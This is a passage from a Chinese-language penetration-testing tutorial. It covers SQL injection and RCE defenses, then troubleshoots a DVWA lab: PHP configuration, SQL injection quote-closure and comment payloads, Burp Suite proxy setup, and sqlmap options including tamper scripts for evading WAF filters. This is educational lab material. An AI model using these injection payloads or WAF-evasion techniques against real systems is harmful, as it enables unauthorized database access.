DATABASE、读写系统文件等高危操作。避免动态拼接SQL这是万恶之源。永远不要使用字符串拼接的方式构造SQL语句如SELECT * FROM users WHERE id $_GET[id]。针对RCE漏洞避免使用危险函数如非必要彻底禁用eval()、assert()、system()、exec()、shell_exec()、passthru()、popen()、proc_open()等函数。在php.ini中通过disable_functions进行禁用。必须使用时进行严格过滤和转义如果业务必须执行系统命令应使用白名单机制限制可执行的命令范围并对参数进行严格的过滤如只允许特定字符。对于代码执行几乎没有任何理由在Web应用中直接使用eval()。及时更新与修补对于使用的框架、组件、中间件如Struts2, ThinkPHP, Spring, Nginx, Redis等保持关注安全公告及时更新到已修复漏洞的版本。文件上传安全很多RCE通过文件上传漏洞实现。必须对上传文件的类型、内容、后缀进行严格检查并重命名存储避免用户控制存储路径和文件名。6. 复现过程中的典型问题与排查实录即使按照教程操作你也一定会遇到各种问题。这里记录几个最常见的问题和解决方法。问题1DVWA页面显示“PHP function allow_url_include: Disabled”等警告。现象访问DVWA的setup.php页面一片红色警告。排查这些是PHP配置未满足DVWA要求。点击页面上的“Create / Reset Database”按钮可能失败。解决打开PHPStudy在“软件管理”中找到对应PHP版本点击“设置”-“php.ini”。找到以下配置并修改allow_url_include Onallow_url_fopen Onsafe_mode Off(PHP 5.4已移除无需设置)修改后重启Apache服务。如果还提示php-gd模块未安装在PHPStudy的“扩展”管理中勾选安装gd2。问题2SQL注入时输入Payload后页面无变化或报错“You have an error in your SQL syntax”。现象明明按照步骤但注入不成功。排查确认注入类型数字型注入点用字符型Payload会报错反之亦然。仔细看页面提示是搜索用户可能字符型还是根据ID查文章可能数字型。检查闭合符号原SQL语句可能是‘$input‘或(“$input”)。你的Payload需要先闭合前面的引号或括号。多尝试‘、‘) --、‘)) --。检查注释符MySQL注释符是--后面有个空格或#。在URL中#通常被当作锚点所以常用--号在URL中解码为空格或%23#的URL编码。解决在Burp Repeater中反复测试不同的闭合和注释方式。观察服务器返回的原始响应有时错误信息会藏在HTML源码里。问题3使用Burp Suite拦截不到浏览器流量。现象浏览器配置了代理但Burp的Proxy history里空空如也。排查检查Burp Proxy的Intercept是否处于“Intercept is on”状态如果是会卡住第一个请求先关掉。检查浏览器代理插件如SwitchyOmega规则是否正确是否针对目标URL启用了代理。检查系统或杀毒软件的防火墙是否阻止了Burp。访问http://burp是否能成功下载证书。解决最稳妥的方法是在浏览器中直接设置系统代理为127.0.0.1:8080不推荐长期使用会影响其他上网。或者关闭所有其他代理插件只留一个。问题4SQLMap跑不出结果一直显示“heuristic test shows that the target is protected by some WAF”。现象SQLMap检测到WAF无法正常进行注入测试。排查靶场一般没有WAF可能是Payload被靶场自身的简单过滤干扰了。解决尝试降低测试等级和风险sqlmap -u “url” --level2 --risk1。指定注入技术--techniqueB布尔盲注或--techniqueT时间盲注。增加延迟避免触发靶场的频率限制--delay1每次请求间隔1秒。使用--tamper脚本混淆Payload例如--tamperspace2comment将空格替换为注释。漏洞复现是一门实践科学每一个错误都是加深理解的契机。遇到问题时耐心查看错误信息利用Burp Suite仔细对比请求与响应拆分复杂的Payload一步步测试你总能找到突破口。最终当你能够独立分析一个未知的输入点判断其是否存在漏洞并成功构造出利用代码时你就真正掌握了这项核心技能。记住能力越大责任越大永远在法律和道德的框架内使用这些知识。